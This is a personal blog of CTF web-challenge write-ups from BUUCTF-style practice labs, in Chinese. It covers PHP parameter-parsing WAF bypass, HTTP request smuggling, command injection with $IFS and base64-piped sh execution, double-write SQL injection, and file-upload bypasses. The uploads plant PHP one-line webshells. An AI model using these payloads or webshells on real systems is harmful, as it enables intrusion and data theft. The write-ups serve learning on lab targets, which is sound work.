2021.01.25
不知道为什么,腾讯管家扫毒的时候把我这篇文章扫出来了,然后我顺手给清掉了,只能选择重新发一遍了
写在前面
每日一题每十题开一篇新文章
[RoarCTF 2019]Easy Calc
刚进来是有一个计算器的功能,试了好大好大的数,没有发生溢出情况,查看源代码发现了东西
访问calc.php
发现过滤的 php 代码
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
好了,代码里面有个很危险的eval
函数,但是黑名单实在是给的太多了而且还有看不见的 waf ,只能传入数字和运算符号,不能传入字符,所以又到了经典的没有思路环节,但是今天协会扫地学长没有扫地,实在想不出了只好去看 wp 了嘤嘤嘤
方法一:PHP字符串解析特性绕过WAF
原理:PHP将查询字符串(在URL或正文中)转换为内部GET数组或关联数组POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。
也就是说: PHP 需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
- 删除空白符
- 将某些字符转换为下划线(包括空格)
例如:
User input Decoded PHP variable name %20foo_bar%00 foo_bar foo_bar foo%20bar%00 foo bar foo_bar foo%5bbar foo[bar foo_bar 贴两张好图,来源是 freebuf
回归题目,可能用得到的几个函数
scandir()
函数 返回指定目录中的文件和目录的数组base_convert()
函数 在任意进制之间转换数字,返回一个字符串dechex()
函数:把十进制转换为十六进制hex2bin()
函数:把十六进制值的字符串转换为 ASCII 字符readfile()
函数:输出一个文件。该函数读入一个文件并写入到输出缓冲。若成功,则返回从文件中读入的字节数。若失败,则返回 false。您可以通过@readfile()
形式调用该函数,来隐藏错误信息
假如 waf 不允许 num 变量传递字母:
http://www.xxx.com/index.php?num = aaaa //显示非法输入
那么我们可以在 num 前加个空格:
http://www.xxx.com/index.php? num = aaaa
这样 waf 就找不到 num 这个变量了,因为现在的变量叫(空格)num
,而不是num
。但 php 在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符
先看看根目录有什么,calc.php/? num=1;var_dump(scandir(chr(47)))
,发现 flagg
payload:
calc.php/? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
方法二:HTTP走私
http走私攻击介绍
1、为什么会形成走私漏洞
前端服务器(CDN)
和后端服务器接收数据不同步,引起对客户端传入的数据理解不一致,从而导致漏洞的产生。
大多数HTTP
请求走私漏洞的出现是因为HTTP
规范提供了两种不同的方法来指定请求的结束位置:Content-Length
标头和Transfer-Encoding
标头。
同时使用两种不同的方法时,Content-Length
无效。当使用多个服务器时,对客户端传入的数据理解不一致时,就会出现有些服务器认为Content-Length
的长度有效,有些以Transfer-Encoding
有效。而一般情况下,反向代理服务器与后端的源站服务器之间,会重用TCP
链接。这样超出的长度就会拼接到下一次请求进行请求,从而导致HTTP
请求走私漏洞。
2、HTTP请求走私攻击的五种方式
(1)CL不为0
所有不携带请求体的HTTP
请求都有可能受此影响。这里用GET
请求举例。
前端代理服务器允许GET
请求携带请求体;后端服务器不允许GET请求携带请求体,它会直接忽略掉GET
请求中的Content-Length
头,不进行处理。这就有可能导致请求走私。
构造请求示例:
GET / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 44\r\n
GET / secret HTTP/1.1\r\n
Host: test.com\r\n
\r\n
1234567
\r\n是换行的意思,windows的换行是\r\n,unix的是\n,mac的是\r
攻击流程:
前端服务器收到该请求,读取Content-Length
,判断这是一个完整的请求。
然后转发给后端服务器,后端服务器收到后,因为它不对Content-Length
进行处理,由于Pipeline的存在,后端服务器就认为这是收到了两个请求,分别是:
第一个:
GET / HTTP/1.1\r\n
Host: test.com\r\n
第二个:
GET / secret HTTP/1.1\r\n
Host: test.com\r\n
所以造成了请求走私。
(2)CL-CL
有些服务器不会严格的实现该规范,假设中间的代理服务器和后端的源站服务器在收到类似的请求时,都不会返回400
错误。
但是中间代理服务器按照第一个Content-Length
的值对请求进行处理,而后端源站服务器按照第二个Content-Length
的值进行处理。
构造请求示例:
POST / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n
12345\r\n
a
攻击流程:
中间代理服务器获取到的数据包的长度为8
,将上述整个数据包原封不动的转发给后端的源站服务器。
而后端服务器获取到的数据包长度为7
。当读取完前7
个字符后,后端服务器认为已经读取完毕,然后生成对应的响应,发送出去。而此时的缓冲区去还剩余一个字母a
,对于后端服务器来说,这个a
是下一个请求的一部分,但是还没有传输完毕。
如果此时有一个其他的正常用户对服务器进行了请求:
GET /index.html HTTP/1.1\r\nHost: test.com\r\n
因为代理服务器与源站服务器之间一般会重用TCP
连接。所以正常用户的请求就拼接到了字母a的后面,当后端服务器接收完毕后,它实际处理的请求其实是:
aGET /index.html HTTP/1.1\r\nHost: test.com\r\n
这时,用户就会收到一个类似于aGET request method not found
的报错。这样就实现了一次HTTP
走私攻击,而且还对正常用户的行为造成了影响,而且还可以扩展成类似于CSRF
的攻击方式。
但是一般的服务器都不会接受这种存在两个请求头的请求包。该怎么办呢? 所以想到前面所说的
RFC2616规范
如果收到同时存在Content-Length
和Transfer-Encoding
这两个请求头的请求包时,在处理的时候必须忽略Content-Length
。
所以请求包中同时包含这两个请求头并不算违规,服务器也不需要返回400错误。导致服务器在这里的实现更容易出问题。
(3)CL-TE
CL-TE
,就是当收到存在两个请求头的请求包时,前端代理服务器只处理Content-Length
请求头,而后端服务器会遵守RFC2616
的规定,忽略掉Content-Length
,处理Transfer-Encoding
请求头。
构造请求示例:
POST / HTTP/1.1\r\nHost: test.com\r\n......Connection: keep-alive\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\na
连续发送几次请求就可以获得响应。
攻击流程:
由于前端服务器处理Content-Length
,所以这个请求对于它来说是一个完整的请求,请求体的长度为6,也就是
0\r\n\r\na
当请求包经过代理服务器转发给后端服务器时,后端服务器处理Transfer-Encoding
,当它读取到
0\r\n\r\n
认为已经读取到结尾了。 但剩下的字母a就被留在了缓冲区中,等待下一次请求。当我们重复发送请求后,发送的请求在后端服务器拼接成了类似下面这种请求:
aPOST / HTTP/1.1\r\nHost: test.com\r\n......
服务器在解析时就会产生报错了,从而造成HTTP
请求走私。
(4)TE-CL
TE-CL
,就是当收到存在两个请求头的请求包时,前端代理服务器处理Transfer-Encoding
请求头,后端服务器处理Content-Length
请求头。
构造请求示例:
POST / HTTP/1.1\r\nHost: test.com\r\n......Content-Length: 4\r\nTransfer-Encoding: chunked\r\n\r\n12\r\naPOST / HTTP/1.1\r\n\r\n0\r\n\r\n
攻击流程:
前端服务器处理Transfer-Encoding
,当其读取到
0\r\n\r\n
认为是读取完毕了。
此时这个请求对代理服务器来说是一个完整的请求,然后转发给后端服务器,后端服务器处理Content-Length
请求头,因为请求体的长度为4
.也就是当它读取完
12\r\n
就认为这个请求已经结束了。后面的数据就认为是另一个请求:
aPOST / HTTP/1.1\r\n\r\n0\r\n\r\n
成功报错,造成HTTP
请求走私。
(5)TE-TE
TE-TE
,当收到存在两个请求头的请求包时,前后端服务器都处理Transfer-Encoding
请求头,确实是实现了RFC
的标准。不过前后端服务器不是同一种。这就有了一种方法,我们可以对发送的请求包中的Transfer-Encoding
进行某种混淆操作(如某个字符改变大小写),从而使其中一个服务器不处理Transfer-Encoding
请求头。在某种意义上这还是CL-TE
或者TE-CL
。
构造请求示例:
POST / HTTP/1.1\r\nHost: test.com\r\n......Content-length: 4\r\nTransfer-Encoding: chunked\r\nTransfer-encoding: cow\r\n\r\n5c\r\naPOST / HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 15\r\n\r\nx=1\r\n0\r\n\r\n
攻击流程:
前端服务器处理Transfer-Encoding
,当其读取到
0\r\n\r\n
认为是读取结束。
此时这个请求对代理服务器来说是一个完整的请求,然后转发给后端服务器处理Transfer-encoding
请求头,将Transfer-Encoding
隐藏在服务端的一个chain
中时,它将会回退到使用Content-Length
去发送请求。读取到
5c\r\n
认为是读取完毕了。后面的数据就认为是另一个请求:
aPOST / HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 15\r\n\r\nx=1\r\n0\r\n\r\n1234567
成功报错,造成HTTP
请求走私。
回到题目,用 Burp 抓包,上面几种请求走私都可以,直接 num 传参 payload 就出 flag 了
payload:(这回 num 前面没有空格利用 php 解析)
calc.php/?num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
总结,学到了 php 解析字符串的特性原理,还学到了新东西——HTTP走私,更加理解了
Content-Length
标头和Transfer-Encoding
标头参考文章:
[RoarCTF 2019]Easy Calc(http走私 && 利用PHP的字符串解析特性Bypass)
[GXYCTF2019]Ping Ping Ping
进去看见有个/?ip=
,下意识填了个 127.0.0.1,然后直觉告诉我是个远程命令执行的题
Burp 抓包重放,拼了个ls
读一读 index
?ip=127.0.0.1;cat$IFS$1index.php/?ip=PING 127.0.0.1 (127.0.0.1): 56 data bytes/?ip=|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo ""; print_r($a);}?>
- 总结:过滤的特殊字符:
& / ? * < x{00}-\x{1f} ' " \ () [] {} 空格"xxxfxxxlxxxaxxxgxxx" " " "bash"
- flag的贪婪匹配,匹配一个字符串中,是否按顺序出现过flag四个字母
if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!");
源码中有一个 $a 变量可以覆盖
?ip=127.0.0.1;a=f;cat$IFS$1$alag.php 过滤?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php 没flag?ip=127.0.0.1;a=a;cat$IFS$1fl$ag.php 过滤?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php 有flag?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php 过滤?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php 有flag
方法一:绕过过滤
payload:/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
/?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php
RCE读取PHP文件时,一定要从源代码看,因为PHP不能被解析,这个坑当时梦极光杯也犯过,命令执行打出来 flag 了,傻傻的在主页面找,硬是找不到,后面才在源代码里看到 flag ,被笑了好久
方法二:过滤bash用sh执行
payload:/?ip=127.0.0.1;echo$IFS\$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
|sh 就是执行前面的echo脚本
这个方法我没成功过,老是找不到服务器,不知道为什么
方法三:内联执行
内联就是:将反引号内命令的输出作为输入执行
payload:
?ip=127.0.0.1;cat$IFS$1`ls`
[极客大挑战 2019]Knife
又是一道很好的招新题
蚁剑连上直接拿 flag
用社团网的时候,拿蚁剑去连一句话,总是会爆超时的错误,学长说是校园网限制了流量,或者 ban 掉了某些出口
所以每次用到蚁剑的题都得把网线拔了,自己开热点做
[ACTF2020 新生赛]Exec
感觉又是一道远程命令执行的题目
ping 127.0.0.1;cat index.php
看到关键 php 代码
<?php if (isset($_POST['target'])) { system("ping -c 3 ".$_POST['target']);}?>
代码没有任何过滤,直接慢慢读,payload:ping 127.0.0.1;cd /;ls;cat flag
[极客大挑战 2019]Http
进去看看是成信工三叶草小组的简介,又羡慕一波,在源码里面看到有个Secret.php
,访问
It doesn't come from 'https://www.Sycsecret.com'
,添加Referer
头即可,简单
Please use "Syclover" browser
,要求是Syclover浏览器,改User-Agent
头即可,简单
No!!! you can only read this locally!!!
,只能本地访问,添加XFF头X-Forwarded-For
伪造127.0.0.1
即可,简单
这题目用来招新真的好合适,老羡慕了,怎么人家学校 CTF 氛围这么好呢
[极客大挑战 2019]BabySQL
又是熟悉的画面
常规的union select
不行,用双写发现可以绕过
admin' ununionion seselectlect 1,2,group_concat(schema_name)frfromom (infoorrmation_schema.schemata)#
爆数据库,发现有ctf
库
这里发现 form or 都有被过滤,会被替换成空,所以还是用双写绕过
admin' ununionion seselectlect 1,2, group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema="ctf"#
爆数据表,发现Flag
表
这里发现 where 有过滤,双写绕过
admin' ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag)#
爆字段,出flag
[HCTF 2018]admin
点进来看到页面很简单,只有登陆注册两个功能,结合题目的admin
感觉是那种伪造cookie或者session登陆admin账号的越权的题目
意外解:admin 123直接登陆
真就随便试了一下常见的那种 admin admin888 123456 123这种弱口令,没想到居然出来了???
可能最近运气不错吧,但是这种题对我来说确实是第一次做,一直死磕也搞不出来,所以直接去看 wp 复现了,反向学习一波
方法一:flask session 伪造
方法二: unicode欺骗
方法三: 条件竞争
10.23-24去南宁丢人现眼了,没有更新
[极客大挑战 2019]Upload
考点很明显的文件上传
传了一个普通的图片🐎发现<?
会被检测出来,所以用了个phtml🐎
GIF89a<script language="php">eval($_POST['shell']);</script>
通常,在嵌入了 php 脚本的 html 中,使用 phtml 作为后缀名;
完全是 php 写的,就用 php 后缀名
这两种文件,web 服务器都会使用 php 解释器进行解析
GIF89a 是 gif 文件头欺骗
- php 嵌入 html 脚本方式
- 默认语法:
<?php ... ?>
- 短标记:
<? ... ?>
- 脚本:
<script language="php"> ... </script>
,从PHP7开始不支持 - ASP风格:
<% ... %>
一般是ASP一句话木马用 - 除了第一种,其他三种的浏览器兼容性都不太好
传🐎抓包,需要改Content-Type: image/jpeg
,因为只允许 image 上传
上传成功
猜测上传路径是/upload/ma.phtml
,用蚁剑连连上了,进去看了看文件过滤的函数
<?php$file = $_FILES["file"];// 允许上传的图片后缀$allowedExts = array("php","php2","php3","php4","php5","pht","phtm");$temp = explode(".", $file["name"]);$extension = strtolower(end($temp)); // 获取文件后缀名$image_type = @exif_imagetype($file["tmp_name"]);if ((($file["type"] == "image/gif")|| ($file["type"] == "image/jpeg")|| ($file["type"] == "image/jpg")|| ($file["type"] == "image/pjpeg")|| ($file["type"] == "image/x-png")|| ($file["type"] == "image/png"))&&$file["size"] < 20480) // 小于 20 kb{ if ($file["error"] > 0){ echo "ERROR!!!"; } elseif (in_array($extension, $allowedExts)) { echo "NOT!".$extension."!"; } elseif (mb_strpos(file_get_contents($file["tmp_name"]), "<?") !== FALSE) { echo "NO! HACKER! your file included '<?'"; } elseif (!$image_type) { echo "Don't lie to me, it's not image at all!!!"; } else{ $fileName='./upload/'.$file['name']; move_uploaded_file($file['tmp_name'],$fileName); echo "上传文件名: " . $file["name"] . "<br>"; }}else{ echo "Not image!";}?>
flag 在根目录下
看了看别人传的🐎,五花八门,各种姿势,但都是用的脚本嵌入方式传🐎
[ACTF2020 新生赛]BackupFile
index.php.bak
老常见了
<?phpinclude_once "flag.php";if(isset($_GET['key'])) { $key = $_GET['key']; if(!is_numeric($key)) { exit("Just num!"); } $key = intval($key); $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3"; if($key == $str) { echo $flag; }}else { echo "Try to find out source file!";}
intval() 函数用于获取变量的整数值。
is_numeric() 函数用于检测变量是否为数字或数字字符串。
PHP 数字和字符串的弱类型比较,PHP 将字符串转换成 int 然后再进行比较,转换成 int 比较时只保留数字,第一个字符串之后的所有内容会被截掉,传参 123 就行,
[ACTF2020 新生赛]Upload
传马的时候发现 burp 抓不到包,直接弹出该文件不允许上传巴拉巴拉,猜测是在前端验证文件类型,发现checkFile
函数
function checkFile() { var file = document.getElementsByName('upload_file')[0].value; if (file == null || file == "") { alert("请选择要上传的文件!"); return false; } //定义允许上传的文件类型 var allow_ext = ".jpg|.png|.gif"; //提取上传文件的类型 var ext_name = file.substring(file.lastIndexOf(".")); //判断上传文件类型是否允许上传 if (allow_ext.indexOf(ext_name) == -1) { var errMsg = "该文件不允许上传,请上传jpg、png、gif结尾的图片噢!"; alert(errMsg); return false; }}
文件改名ma.jpg.PhP
绕过了前端验证函数,用大小写绕过了 bad file 文件检测,虽然上传成功了,但是不解析成php文件执行
转换思路,用昨天的 phtml马,然后发现浏览器是可以禁用前端 JS 脚本的,也就是把 chackFile 函数 ban 掉
GIF89a<script language="php">eval($_POST['shell']);</script> <script language='php'>system('cat /flag');</script>
这回直接在马里 cat flag
拿到 flag
未完待续…